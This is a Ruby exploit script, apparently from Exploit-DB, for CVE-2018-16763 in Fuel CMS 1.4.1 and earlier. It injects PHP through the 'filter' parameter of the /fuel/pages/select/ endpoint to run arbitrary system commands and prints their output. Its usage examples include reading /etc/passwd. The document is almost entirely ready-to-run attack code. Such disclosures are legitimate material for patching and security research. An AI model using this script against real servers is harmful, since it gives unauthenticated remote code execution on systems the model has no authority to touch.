# Title: Fuel CMS 1.4.1 - Remote Code Execution (2)
# Exploit Author: Alexandre ZANNI
# Date: 2020-11-14
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-16763
# References: https://www.exploit-db.com/exploits/47138
#!/usr/bin/env ruby
require 'httpclient'
require 'docopt'
# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil
doc = <<~DOCOPT
Fuel CMS 1.4 - Remote Code Execution
Usage:
#{__FILE__} <url> <cmd>
#{__FILE__} -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> The system command to execute
-h, --help Show this screen
Examples:
#{__FILE__} http://example.org id
#{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'
DOCOPT
def exploit(client, root_url, cmd)
url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"
res = client.get(url)
/system(.+?)<div/mx.match(res.body).captures[0].chomp
end
begin
args = Docopt.docopt(doc)
clnt = HTTPClient.new
puts exploit(clnt, args['<url>'], args['<cmd>'])
rescue Docopt::Exit => e
puts e.message
end
